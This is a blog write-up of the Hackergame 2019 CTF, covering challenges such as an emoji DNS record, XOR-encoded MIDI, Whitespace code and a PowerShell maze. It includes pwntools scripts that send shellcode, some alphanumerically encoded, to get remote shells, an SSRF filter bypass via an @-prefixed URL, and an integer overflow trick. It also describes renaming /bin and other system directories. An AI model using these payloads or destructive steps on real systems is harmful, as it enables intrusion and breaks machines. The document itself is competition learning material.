Hackergame 2019(中科大信安赛)write up

过去一年并没有怎么打 CTF,不少比赛难度对我而言偏高,自己也没有特别拿手的题型。不过去年参加的 Hackergame 2018 倒是玩得很开心,题目设计较有趣,难易度分布也较均匀。同时,由于赛程安排较长,在比赛的过程中能够有时间学习、消化新知识。

今年的 Hackergame 算法题与数学题稍多,有些题目最后还是网上找到别人写好的算法来求解,更像是搜索能力竞赛(其实是我太菜了)。既然比赛难度循序渐进,本 write up 也会包含进几道简单却有趣的题目,难度由简单到中等循序渐进。至于为什么不整理较难的题…(原因刚才说过了

同去年一样,官方也发布了 write up:GitHub


白与夜 100

这是一个关于白猫,嗯不对,关于黑猫的故事。

题目

题目里是一张白猫的图片,又不断暗示这只猫其实是黑猫。将图片下载后,发现图片是一张半透明的 png 图片。

将猫咪放到黑色背景下,原来猫身的“白”色部分其实大部分是透明的,只是放在了白色的网页上才显现出白色。而在黑色背景下,猫身就显现出黑色了。

flag{4_B14CK_C4T}

题目并不难,不过我也想做出一张这样的图片。从图中可以看到,黑猫白猫的位置并不相同,并非同一只猫,而更像是两张图片合成起来的。

我们先试着做一张这样的白猫图。将不透明的白猫图取出,并使用 GIMP 将其中的白色转换为透明色。这样一来,图片中就只剩下了透明度不同的纯黑色(以及一些完全透明的部分)。在白色背景下,修改后的白猫图与原图比看不出什么区别,但在黑色背景下,这张图无法看出任何内容。

试试在黑色背景下看这张图?

这张图实际上是由完全透明的部分,以及透明度各不相同的纯黑色(#000000)像素构成。举个例子,一个不透明的灰色(#CCCCCC)像素,与不透明度为 20% 的纯黑色(#000000)像素在白色背景下是看不出区别的。

以此类推,如果继续更改白猫图各个像素的颜色以及透明度,就能够在不改变白色背景下所看到的白猫的情况下,在黑色背景下展现出另一张图片。事实上,这也是一些聊天工具里流传的“点开就会变”的图片的原理。

按照上述原理,写了一个 node.js 工具,用于生成这样的图片。项目地址: https://github.com/Coxxs/image-hide

丹娜超可爱!(不过丹娜在哪呢)

信息安全 2077 150

2077 年很快到来了。此时正值祖国 128 周年华诞,中国科学技术大学也因其王牌专业信息安全,走出国门,成为了世界一流大学。作为向信息安全专业输送人才的重要渠道,第 64 届信息安全大赛也正在如火如荼地开展着。
千里之行,始于足下。作为一名渴望进入信息安全专业的学生,你的第一个任务是拿到第 64 届信息安全大赛的签到题的 flag。我们已经为你找到了签到题的入口[1],你只需要把 flag.txt 的内容读出来就可以了。
注:为了照顾到使用黑曜石浏览器的用户,第 64 届信息安全大赛的签到题决定沿袭之前 63 届信息安全大赛的惯例,仍然基于 HTTP 1.x。当然了,使用其他浏览器也是可以顺利完成任务的。

[1] 网页源码

打开网页,页面展示出一个倒计时,似乎要等到 2077 年才能查看 flag。在源码中可以看到页面在向 flag.txt 文件发起一个请求,并指定了 User-Agent 以及 If-Unmodified-Since 的 HTTP 头。

由于浏览器安全策略原因,浏览器并未采用所指定的 User-Agent。抓包并将 User-Agent 改为黑曜石浏览器,再将 If-Unmodified-Since 头改为 2077 年,即可获得 flag。

flag{Welc0me_to_competit1on_in_2077}

网页读取器 150

今年,刚刚学会网络编程的小 T 花了一点时间,写了一个非常简单的网站:输入一个 URL,返回对应的内容。
不过小 T 想对用户访问的站点进行一些限制,所以他决定自己来解析 URL,阻止不满足要求的请求。这样也顺便解决了 SSRF(Server-Side Request Forgery, 服务器端请求伪造)的问题。
想象很美好,但小 T 真的彻底解决了问题吗?

题目 源码

根据题面,问题应该是出在小 T 写的 URL 解析代码中。查看代码,发现在第二步剥离 URL 中的用户名时就出了问题,他将 @ 符号前的所有文本都视为了用户名部分。

输入 http://web1/[email protected],绕过判断,获取 flag。

这道题很好的演示了自己写解析函数可能带来的问题。实际项目中,自己编写 URL 解析虽不一定会有这样一眼能看出的安全问题,但却可能隐藏着更加难以发现的安全问题。因此这类解析最好还是不要自己造轮子,使用语言自身提供的解析函数,或使用比较流行的解析库会更靠谱。

flag{UrL_1S_n0t_SO_easy}

达拉崩吧大冒险 150

某一天,C 同学做了一个神奇的梦。在梦中,他来到了蒙达鲁克硫斯伯古比奇巴勒城……

题目截图

非常欢乐的一道题,是一个勇者斗恶龙的故事!可以一边听达拉崩吧一边做题!

在王大妈这里,买入鲜美香脆可口甘甜现炸童子鸡可提升攻击力。通过修改网页代码,发现支持买入负数只鸡。此时攻击力会降低,而金钱会增加。但我们需要的是增加攻击力去打恶龙昆图库塔卡提考特苏瓦西拉松,钱再多也没用啊!

多次尝试后可得出,先买入 -MaxInt64 只(-9223372036854775808)童子鸡,此时攻击力会变成非常小的一个负数。再买入 -1 只童子鸡,攻击力会溢出,变为非常大的一个正数。(实际有很多种买法,让攻击力变得太小溢出即可)

与隔壁王大妈的交♂易现场

获得 9223372036854776000 的攻击力后,去干恶龙即可。

恶龙昆图库塔卡提考特苏瓦西拉松被♂干现场

flag{what_an_amazing_dream}

Happy LUG 150

在今年信安大赛命题组的内部聊天记录中,出现次数最多的 emoji 是什么?
答案是:「😂」(喜极而泣的表情,Face with Tears of Joy)。这是大家最喜欢使用的 emoji 之一。
或许是因为这个原因,最近几天,命题组某位同学收到了一张神秘的字条。
看起来是一个域名,但里面怎么会有 😂 这个 emoji?而且,虽然浏览器访问不了,但这个域名确实是存在着的。
你能解开其中隐藏着的信息吗?

题目图片

题目其实暗示很明显了,域名存在却打不开,我们则自然要去找为什么“打不开”。Emoji 域名并不是什么新鲜事了,与中文域名原理相同,是将包含特殊字符的字串转换为 Punycode。而我们的浏览器就是我们手边的转换工具。

😂.hack.ustclug.org 这个域名复制到地址栏,回车后复制回来,可以获得实际域名 xn--g28h.hack.ustclug.org,前面的 xn--g28h 就是 Punycode 了。

接着我们要解决这个网址“打不开”的问题。要访问一个域名代表的网站,浏览器首先会对域名做 DNS 解析。我们用 dig 命令来看看解析结果吧(也可使用其他的 DNS 解析工具)。

$ dig xn--g28h.hack.ustclug.org
dig: 'xn--g28h.hack.ustclug.org.' is not a legal IDNA2008 name (string contains a disallowed character), use +noidnout

$ dig xn--g28h.hack.ustclug.org +noidnout

; <<>> DiG 9.11.5-P1-1ubuntu2.5-Ubuntu <<>> xn--g28h.hack.ustclug.org +noidnout
;; global options: +cmd
;; Got answer:
# ... (此处省略)
;xn--g28h.hack.ustclug.org.     IN      A

可以看出这个域名查询请求并没有回应 A 记录(使用 dig AAAA xn--g28h.hack.ustclug.org 测试,也没有 AAAA 记录),浏览器找不到对应的 IP,自然无法访问。那试试看其他常见的记录类型呢?

root@localhost:~# dig TXT xn--g28h.hack.ustclug.org +noidnout

; <<>> DiG 9.11.5-P1-1ubuntu2.5-Ubuntu <<>> TXT xn--g28h.hack.ustclug.org +noidnout
;; global options: +cmd
;; Got answer:
# ... (此处省略)
;; QUESTION SECTION:
;xn--g28h.hack.ustclug.org.     IN      TXT

;; ANSWER SECTION:
xn--g28h.hack.ustclug.org. 60   IN      TXT     "flag{DN5_C4N_H4VE_em0ji_haha}"

当使用常用作字串的 TXT 记录类型时,返回了 flag。

flag{DN5_C4N_H4VE_em0ji_haha}

Shell 骇客 400

你知道什么是 shellcode 吗?也许这可以帮助你了解更多!

nc 202.38.93.241 10000
nc 202.38.93.241 10002
nc 202.38.93.241 10004

似乎是一道萌新向的 pwn 题,题目中也给出了源代码。正好我也不会 pwn,那就借着这题初步了解下。

三道小题都直接调用了用户输入的内容,后两个小问则额外对用户输入的内容做了限制:第二问为 32 位程序,限制只能输入 [0-9A-Z]{,200},第三问为 64 位程序,限制只能输入 0x32 ~ 0x7e 范围内的字符。

简单学习了一下 pwntools 的使用,第一小题 Python 代码如下:

from pwn import *
context(arch = 'amd64', os = 'linux')

r = remote('202.38.93.241', 10000)
print r.recvuntil(':', drop=True)
r.send('[选手token]\r\n')
shellcode = asm(shellcraft.sh())
r.send(shellcode)
r.interactive()

进入 Shell 后 ls 列目录,cat flag 获得 flag 文件的内容。

后两小题对输入字符做了限制,尝试用 pwnlib.encoders 生成符合条件的 shellcode,但并未能成功。后来参考一位大神的文章,使用 alpha3.py 对 pwnlib 生成出的 shellcode 进行转换,最终成功执行 shellcode。

from pwn import *
context(arch = 'i386', os = 'linux')

r = remote('202.38.93.241', 10002)
print r.recvuntil(':', drop=True)
r.send('[选手token]\r\n')
r.send('PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2O0Z2G7O1E7M04KO1P0S2L0Y3T3CKL0J0N000Q5A1W66MN0Y0X021U9J622A0H1Y0K3A7O5I3A114CKO0J1Y4Z5F06')
r.interactive()
from pwn import *
context(arch = 'amd64', os = 'linux')

r = remote('202.38.93.241', 10004)
print r.recvuntil(':', drop=True)
r.send('[选手token]\r\n')
r.send('Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t')
r.interactive()

小 U 的加密 200

小 U 是一位可爱的萌新,前不久开始学习编程。最近,他刚学了位运算,就写了个小程序来「加密」自己的文件。我们拿到了一份经过他加密之后的文件(据称这是一个音频文件),你能否还原原始文件的内容,找到 flag?
注:flag 中的字符串全部为英文小写字符。

根据题目,刚学了位运算的小 U 当然会选择用异或运算来加密文件啦!由于完全没有密钥,很可能是用了同一个字节异或了整个文件。

一开始尝试了使用 0x00 - 0xFF 分别对文件头进行异或,看看能不能找到熟悉的文件头,但却啥都找不着。

稍作思考后,看到这个文件中有特别多的 0x39 字节。对于大多数二进制文件来说,文件里有许多 0x00 是再正常不过的事了,而 0x00 xor 0x39 = 0x39,因此整个文件很可能是被 0x39 异或了。

将文件还原后,文件头是 MThd,搜索后才知道,原来这是 MIDI 文件。将“解密”后的文件重命名为 flag.mid

直接播放只能听到一串杂乱的音符,用 MIDI 编辑器打开看看,原来是用音符拼成了 flag。(让我想起我以前出的一道题 = =##)

flag{justxorandmidi}

天书残篇 250

古尔丹的魔法书
很久很久以前,兽族部落还未建立起来。古尔丹的早期经历鲜有人知,他原本是影月氏族的一员,在学习利用萨满的元素之力时展现了非凡的天赋。因此被光荣地选为萨满长老耐奥祖的学徒。长老十分喜爱自己的这位学生,于是长老将千年流传下来的天书交给了他,长老对着年轻的古尔丹说:“这是一本天书,里面记录了非凡的魔法,如果你能参悟其中的奥秘,你将能带领族人成就一番伟大事业。”年轻的古尔丹从小渴望力量,他接过了长老的书,认真的看了起来。
经过一段时间,古尔丹掌握了天书的奥秘,他利益熏心,对于力量的渴望吞噬了他的理智。之后便有了燃烧军团……..
古尔丹死后,他的头骨变成了某种与恶魔之力沟通的信物。古尔丹的一小片灵魂仍然寄存在他的头骨之中,持有之人能够听到他的私语——即使在死后,这位术士仍然十分危险。耐奥祖曾经用这头骨打开了德拉诺通往其他世界的传送门,后来卡德加又用它摧毁了黑暗之门。黑暗之门被毁后,卡德加为了逃离此处而在匆忙之间将头骨丢在了德拉诺某处耐奥祖创造的扭曲虚空之中。多年之后它又在艾泽拉斯重新出现,这一次它被燃烧军团用于污染费伍德的森林。从死亡骑士阿尔萨斯处了解到它的存在后,伊利丹·怒风找到并带走了头骨,在吸收其力量之后变成了半暗夜精灵半恶魔的状态。古尔丹的记忆依靠头骨内的术士魔法和陵墓墙上的符文继续存在着,伊利丹通过头骨内古尔丹的记忆找到了陵墓,而玛维·影歌则找到了符文。在陵墓坍塌之后,古尔丹存在过的最后证明也消失无踪。
我们找到了那本启示古尔丹的魔法书的残卷,它因为年代久远仅剩下零落几页,但是书籍里尘封着伟大力量却在召唤着你。年轻人参悟这伟大的力量吧!

题目很长,啥提示都看不出来。文件中只有三种字符,空格、Tab、换行。一开始试了各种方法,一直都没能解开… 直到在一个并没有聊比赛的群里,看到一位群友发的一张 Whitespace 编程语言的百科截图…

在网上找到 Whitespace 的在线 IDE,运行这段代码,但这段代码不仅没有向被坑了半天的我打印出答案,竟然还开始反问我要 flag。去年被这比赛的 Malbolge 语言玩得半死,今年得吸取教训了——flag 有可能是和去年一样,直接编码在了代码中。

仔细阅读汇编,看到其中有很多 push 2; add; push x; sub 的操作,或许这就是在试图计算 flag,以便于和用户的输入进行比较。

将这部分 push 后的数字提取出,减去 2 后转为字符,并翻转字符串,获得flag。

flag{Whit3sp4c3_is_a_difficult_pr0gr4m_l4ngu4g3}

我想要个家 250

有一天,C 同学做了一个梦,他竟然搬进了大房子,只是似乎有些地方 C 同学不太满意……
注意:
此题考察的是对于 Linux 基础知识的掌握。尽管可以,但不建议使用逆向工程的方式完成。
在根目录(/)下的文件夹对 Linux 系统的运行十分重要,请不要为了完成此题目删除自己的 /usr/bin 等文件夹!

题目文件

看了题目中“温馨”的提示,立马打开了逆向工具——嗯,啥都看不懂。好吧,只好拿出一台没啥用的机子,乖乖跑程序。

程序一开始只是让我在根目录建几个文件夹,但接着画风突变,开始要求我删除根目录下的系统目录。

参考这里的方法重名了几个目录,再用 mv 命令将 bin 等目录重名为了 bin1

程序紧接着开始得寸进尺,提出了更多条件,要我将两个文件连通。由于我的 /bin 已经没了,接下来的命令需要以 /bin1/ln 的形式输入。

接着程序要求我建立一个文件,里面始终能够获得当前的北京时间。感觉上是要做一个类似 /dev/urandom 这样的伪设备,不过我直接写了个脚本,不断循环把当前时间写入指定的文件。

最后,程序让我 sleep 10 秒,没错,我的 bin 已经没了。输入命令 /bin1/sleep 10,获得 flag。

哦对了,获得 flag 后还有最后一步,就是去服务器控制面板重装系统……

获得 flag 后根目录的画风

宇宙终极问题 450

天何所杳, 十二焉分?
日月安属, 列星安陈?
浩瀚宇宙的一个寻常星系里, 弥漫六合的暗物质晕中, 远古的诗歌在狄拉克海上无声回荡.
史诗般的超级计算机 Deep Thought , 寒冷星空下的百万亿场效应管, 人类终得以一窥这个宇宙最深层的奥秘.
没错, 就是 42, 对于生命, 对于宇宙, 对于世间万物的答案.

第一小题:请给出一组 x y z,使得 x^3 + y^3 + z^3 = 42
第二小题:给定 n = random_prime(2^256) * random_prime(2^256) ,请给出一组 a b c d i j k l,使得 a^3 + b^3 + c^3 + d^3 = i^2 + j^2 + k^2 + l^2 = n
第三小题:给定 n = randint(2^256) ,请给出一组 p q,使得 p^2 + q^2 = n

数学不好真是抱歉了。这题完全是用 Google™ 搜索求解的。

第一小题通过搜索可以找到答案。
第二小题通过搜索可以找到两个求解页面:四平方 四立方(作者也提供了源码)。
第三小题根据我的理解,并非所有的 n 都可以表示成两个数的平方和。因此多次获取不同的 n,并放到四平方求解页面尝试求解。

flag{W0W_you_kn0w_the_Answer_t0_l1f3_Un1v3r5e_&_Everyth1ng_77cdda6cca}
flag{N0W_you_Alr3ady_kn0w_Everyth1ng_043484f4db}
flag{You_DO_kn0w_M0re_Th4n_Everyth1ng_774656f052}

这题告诉了我们,数学在 CTF 里很重要。(Google™ 搜索在 CTF 里也很重要

无限猴子定理 250

无限猴子定理指出:一只猴子在打字机上仅靠随机按键,几乎必然能够在足够长的时间后打出莎士比亚的全套著作,自然也能打出本次比赛的所有 flag。
小郑曾经和小赵说过:宇宙的本质是计算。因此,小赵认为,辅助利用计算机生成的随机数,能够更容易地找到 flag 等有意义的信息,从而大大缩短验证无限猴子定理的时间。小赵找到了一串猴子打出的文本(might_be_flag.txt),并自行编写了生成随机数的程序(find_flag.py)。
一系列随机数将会通过程序源源不断地生成,而每个随机数都可能在文本中对应出一个正确的 flag。小赵到底能不能如愿以偿地拿到 flag 呢?
注:
1. flag 一定代表一串有意义的英文单词序列,但本题完全不需要任何程度的基于机器的自然语言识别。
2. 和本次比赛的其他 flag 类似,本题的对应 flag 中可能有英文字母被替换混淆。
3. flag 代表的第一个英文单词既不会是名词,也不会是形容词。

运行程序后,不断产生形如 (0x0123) => flag{.....} 的字符串。移除程序中的 sleep 延时代码,并将这些生成的 flag 保存为文件,注意到每生成 65512 轮 flag 后就会回到起点,开始生成与刚才相同的 flag。也就是说,总共生成了 65512 个不同的 flag。

(0x0000) => flag{EH650ARRBN6wFygy3E}
(0x316B) => flag{EELPa1VXQdAYxlD1Fx}
(0xB110) => flag{xVd+7waO7T0B5pAs2n}
(0x7762) => flag{n+TkwdI21/wzJ5YiId}
(0x01A9) => flag{dwcbomCw/sRu2BT+H/}
......

由于题目提到 flag 中包含单词,于是我就提取出这些 flag 中包含多个单词的 flag。然而,在人力二次检索几千个 flag 后,依然一无所获。

再次分析程序,注意到这里所生成的 flag 中的字符,事实上都来自 might_be_flag.txt 文件中的不同位置。那有没有可能有一些位置并没有被用到呢?修改程序,将在 might_be_flag.txt 文件中被使用过的位置剔除。运行后,确实留下了一些从未被用过的字符。

将这些字符直接连接并看不出什么,但如果强行让这些字符参与到随机序列的生成呢?于是将其中的一个字符的位置作为 random_iter 的起点,运行生成 flag。

python find_flag.py
 (0x0C2A) => flag{+8ad+LC+Generat0r+}
 (0xBB4F) => flag{+A+8ad+LC+Generat0}
 (0x6A79) => flag{0r+A+8ad+LC+Genera}
 (0x19A3) => flag{at0r+A+8ad+LC+Gene}
 (0xC8C8) => flag{erat0r+A+8ad+LC+Ge}
 (0x77F2) => flag{enerat0r+A+8ad+LC+}
 (0x271C) => flag{+Generat0r+A+8ad+L}
 (0xD641) => flag{LC+Generat0r+A+8ad}
 (0x856B) => flag{d+LC+Generat0r+A+8}
 (0x3495) => flag{8ad+LC+Generat0r+A}
 (0xE3BA) => flag{A+8ad+LC+Generat0r} # Flag
 (0x92E4) => flag{r+A+8ad+LC+Generat}
 (0x420E) => flag{t0r+A+8ad+LC+Gener}
 (0xF133) => flag{rat0r+A+8ad+LC+Gen}
 (0xA05D) => flag{nerat0r+A+8ad+LC+G}
 (0x4F87) => flag{Generat0r+A+8ad+LC}
 (0xFEAC) => flag{C+Generat0r+A+8ad+}
 (0xADD6) => flag{+LC+Generat0r+A+8a}
 (0x5D00) => flag{ad+LC+Generat0r+A+}

直到这时,我才理解题目中几条提示的意义… 好吧,A 确实不是名词,也不是形容词… (╯‵□′)╯︵┻━┻

flag{A+8ad+LC+Generat0r}

PowerShell 迷宫 250

题目说明

一道 Powershell 实现的迷宫。由于只提供了浏览器的终端,因此基本上是要写 Powershell 脚本丢上去解题了。但我就是不想写 PS 脚本…

解法1

在意识到迷宫的规模后,我放弃了手画,开始让程序自动画…

解法2

socket.send('[选手token]\r\n')

j = localStorage.getItem('maze')
var m
if (!j) {
  m = {
    x: 70,
    y: 70,
    horiz: new Array(71).fill(0).map(row => new Array(71).fill(false)),
    verti: new Array(71).fill(0).map(row => new Array(71).fill(false)),
    pos: new Array(71).fill(0).map(row => new Array(71).fill(false)),
    here: [0, 0]
  }
} else {
  m = JSON.parse(j)
}


function display(m) {
  var text= [];
  for (var j= 0; j<m.x*2+1; j++) {
    var line= [];
    if (0 == j%2)
      for (var k=0; k<m.y*4+1; k++)
        if (0 == k%4) 
          line[k]= '+';
        else
          if (j>0 && m.verti[j/2-1][Math.floor(k/4)])
            line[k]= ' ';
          else
            line[k]= '-';
    else
      for (var k=0; k<m.y*4+1; k++)
        if (m.here && m.here[0]*2+1 == j && m.here[1]*4+2 == k) 
          line[k]= '#'
        else if ((k-2)%4 == 0 && (j-1)%2 == 0 && m.pos[(j-1)/2][(k-2)/4] === false)
          line[k]= '?'
        else if ((k-2)%4 == 0 && (j-1)%2 == 0 && m.pos[(j-1)/2][(k-2)/4] === 2)
          line[k]= '.'
        else if (0 == k%4)
          if (k>0 && m.horiz[(j-1)/2][k/4-1])
            line[k]= ' ';
          else
            line[k]= '|';
        else
          line[k]= ' ';
    if (0 == j) line[1]= line[2]= line[3]= ' ';
    if (m.x*2-1 == j) line[4*m.y]= ' ';
    text.push(line.join('')+'\r\n');
  }
  return text.join('');
}

socket.onmessage = event => {
  if (event.data.indexOf('flag{') >= 0) {
    console.log(event.data);
    alert(event.data);
  }
  var regex = /\s+(Up|Down|Left|Right)\s+(\d+)\s+(\d+)(.*)/g
  var match
  while (match = regex.exec(event.data)) {
    update(match[1], Number(match[2]), Number(match[3]), match[4].trim())
  }
}

function update(direction, x, y, flag) {
  if (flag) {
    console.log(flag)
    alert(flag)
  }
  if (direction == 'Left') {
    m.here = [y, x + 1]
    m.horiz[y][x] = true
    m.pos[y][x + 1] = true
    if (m.pos[y][x] === false) m.pos[y][x] = 2
  }
  if (direction == 'Right') {
    m.here = [y, x - 1]
    m.horiz[y][x - 1] = true
    m.pos[y][x - 1] = true
    if (m.pos[y][x] === false) m.pos[y][x] = 2
  }
  if (direction == 'Up') {
    m.here = [y + 1, x]
    m.verti[y][x] = true
    m.pos[y + 1][x] = true
    if (m.pos[y][x] === false) m.pos[y][x] = 2
  }
  if (direction == 'Down') {
    m.here = [y - 1, x]
    m.verti[y - 1][x] = true
    m.pos[y - 1][x] = true
    if (m.pos[y][x] === false) m.pos[y][x] = 2
  }
  console.log(direction + ' ' + x + ' ' + y)
}

document.onkeydown = function (e) {
    // go to the back
    if (e.keyCode == 32) {
    socket.send("cd ..; ls\r\n")
    }
    // go to the right
    if (e.keyCode == 39) {
    socket.send("cd right; ls\r\n")
    }
    // go to the left
    if (e.keyCode == 37) {
    socket.send("cd left; ls\r\n")
    }
    // go to the up
    if (e.keyCode == 38) {
    socket.send("cd up; ls\r\n")
    }
    // go to the down
    if (e.keyCode == 40) {
    socket.send("cd down; ls\r\n")
    }
};

var e = document.createElement('div');
e.innerHTML = `
<div id="maze" style="position:absolute; opacity:.93; left:0; right:0; top:0; bottom: 0; z-index:100; background-color: white; font-size: 7px; font-weight: bolder; font-family: monospace; line-height: 3.95px; letter-spacing: -1px;"><pre id="mt"></pre></div>
`;
document.body.appendChild(e);

function draw() {
  document.getElementById('mt').innerHTML = display(m);
  if (Math.random() < 0.05) {
    localStorage.setItem('maze', JSON.stringify(m));
  }
}

g = setInterval(draw, 80)

画迷宫部分代码摘自:freeCodeCamp/arcade-mode,在此表示感谢。

F12 输入代码后,本题就变成了一个迷宫游戏。用键盘开始探索迷宫吧!? 代表未探索的区域,. 代表未探索但确定没有 flag 的位置。

这段代码会使用 localStorage 自动保存已经探索过的迷宫,超时断线后刷新可继续游玩。

解法3

后来才发现,通过 cd / 回到根目录后,是可以在 /opt/PSMaze.dll 下找到题目二进制的。文件中有 flag 的一部分,另一部分似乎是算出来的。由于已经找到 flag,就没有继续深入。

用解法2解完题目后,我的内心是崩溃的… 早知道就乖乖写 PS 脚本去了… (T_T)

flag{D0_y0u_1ik3_PSC0r3_n0w_2C6BE488}

Flag 红包 350

你知道「一个顶俩(liǎ)」吗?
又(快)到了发红包的季节。为了让别人陷入成语红包收不到的尴尬,某同学用了一周的开发时间,精心打造了一个成语接龙 AI。
那么,你能抢到他发出的红包吗?
成语数据库可以在题目网页的右上角下载。
注:上面链接的网站与题目无关。

成语数据库

既然本题放在最后一题,应该不会太容易。果然,我写的感觉起码能赢一两局的答题机器人——最后连一局都赢不了。对方总是能通过成语不能重复使用的规则,在来回几百轮后把我的机器人逼上绝路。

好吧,原来这又是一道算法题。 既然我算法烂,那就让对面两个机器人互干吧。不过因为每一局第一个词都是“废理兴工”,因此先要让一个机器人接出“工”开头的成语才行。这里写了一个简单的算法来实现,掐起来后就交给机器人们吧~ (* ̄3 ̄)╭

先将成语列表保存到 localStorage 中,便于之后程序调用。

fetch('/idl.json').then(response => {
  return response.json();
}).then(data => {
  window.localStorage.setItem('dict', JSON.stringify(data))
}).catch(err => {
  console.log(err)
});

接着开始让机器人自己干♂自己(程序写的稍有些乱)

const dict = JSON.parse(window.localStorage.getItem('dict'))

class bot {
  constructor (botid, callback) {
    this.botid = botid
    this.ready = false
    this.callback = callback

    this.mysocket = io.connect(window.location.href, {
      transports: ['websocket']
    })
    this.mysocket.on('reply', function(msg) {
      this.process(msg.data)
    }.bind(this));
  }

  process (msg) {
    console.log(this.botid + ' ↓ ' + msg)
    if (msg == '服务器给你发送了一个接龙红包:') return
    this.callback(true, msg)
    return
  }

  send (msg) {
    console.log(this.botid + ' ↑ ' + msg)
    this.mysocket.emit('go', {data: msg});
  }
}

class flxgSolver {
  constructor (botid, callback) {
    this.botid = botid
    this.bot = new bot(botid, this.solve.bind(this))
    this.first_index = { }
    this.last_index = { }
    this.used = []
    this.danger = {}
    this.success = false
    this.callback = callback

    this.init()
  }

  init() {
    for (var word in dict) {
      if (!this.first_index[dict[word].first]) this.first_index[dict[word].first] = []
      this.first_index[dict[word].first].push(word)

      if (!this.last_index[dict[word].last]) this.last_index[dict[word].last] = []
      this.last_index[dict[word].last].push(word)
    }

    this.danger = {}
    for (var word in dict) {
      if (this.first_index[dict[word].last] && !['run'].includes(dict[word].last)) continue
      let first = dict[word].first
      if (!this.danger[first]) this.danger[first] = []
      this.danger[first].push(word)
    }
  }

  solve (res, msg) {
    if (!res) {
      console.error('disconnected')
      return false
    }
    if (this.success) {
      this.callback(true, msg)
      return
    }
    this.used.push(msg)
    var words = []
    var ban = Object.keys(this.danger)
    for (var i of this.first_index[dict[msg].last]) {
      if (this.used.includes(i)) {
        // console.log(this.botid + ' ' + i + ' 被使用,跳过')
        continue
      }
      if (ban.includes(dict[i].last)) {
        // console.log(this.botid + ' ' + i + ' 被封禁,跳过')
        continue
      }
      if (dict[i].last == 'gong') {
        this.success = true
        words = [ i ]
        break 
      }
      words.push(i)
    }
    if (!words.length) {
      console.error('failed')
      return false
    }
    var word = words[Math.floor(Math.random() * words.length)]
    // console.log(this.botid + ' ↑ ' + word)
    this.used.push(word)
    this.bot.send(word)
  }
}

const getid = () => (window.botid = window.botid ? window.botid + 1 : 1)

var solver
var mainbot
var end = false

function solver_cb(res, msg) {
  if (end) return
  if (msg && msg.indexOf('的成语!') > 0) {
    solver.bot.mysocket.close()
    mainbot.mysocket.close()
    solver = null
    mainbot = null
    setTimeout(main_cb, 5000)
    return
  }
  if (!res) {
    solver = new flxgSolver('解题器' + getid(), solver_cb)
    return
  }
  if (msg.indexOf('img') > 0) { // success
    mainbot.send(msg.substr(0, 4))
    solver.bot.mysocket.close()
    solver = null
    return
  }
  mainbot.send(msg)
}

function main_cb(res, msg) {
  if (msg && msg.indexOf('flag{') >= 0) {
    console.log(msg)
    solver = null
    mainbot = null
    end = true
    return
  }
  if (msg && msg.indexOf('flag 碎片') > 0) return
  if (msg && (msg.indexOf('的成语!') > 0 || msg.indexOf('img') > 0)) {
    solver.bot.mysocket.close()
    mainbot.mysocket.close()
    solver = null
    mainbot = null
    setTimeout(main_cb, 5000)
    return
  }
  if (!res) {
    mainbot = new bot('主机', main_cb)
    return
  }
  if (msg == '废理兴工') {
    solver_cb()
    return // wait
  }
  solver.bot.send(msg)
}


main_cb()
左右互搏现场

考虑进一些意外情况,每一局胜率不到 50%,不过这样的胜率连赢 4 局也够了。看着两个机器人玩耍了一阵子后,获得 flag。

flag{True_Virtuoso_of_Chinese_Idioms_89f2516f46}


最终得分:5200, 总排名:4 / 1904

Coxxs

Hackergame 2019(中科大信安赛)write up》有11个想法

  1. 诶,2077 那道题,我记得 Chrome 下 Fetch 是可以修改 UA 的(至少我从 console 里发 Fetch 是能行的)。
    然后 emoji URL 那道题,其实 dig ANY 就可以很容易拿到 DNS 里的 flag(然后坏坏 DNS Flag Day 害人把 ANY 干掉了(x
    我想要个家可以去找几个免费的 REPL 或者 Container 来跑,我就是蹭的哈佛校内的 Cloud9(免费 GCP 诶)

    1. 多谢补充!在未来 DNS ANY 可能就要彻底消失了(https://blog.cloudflare.com/rfc8482-saying-goodbye-to-any/),我想要个家我是丢云服务器上做的,当时没想出不伤害系统的方法<(_ _)>

    1. 谢谢!(:з)∠) 虽然在正式一点的 CTF 比赛里还是真的菜 orz

  2. 博主,能给个重命名根目录的详细步骤吗,挂载遇问题了,百度不出解决方法。

  3. 我想要个家那题完全可以用 chroot 做哦,不会破坏原来的系统(重命名这个操作也tql xD)

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注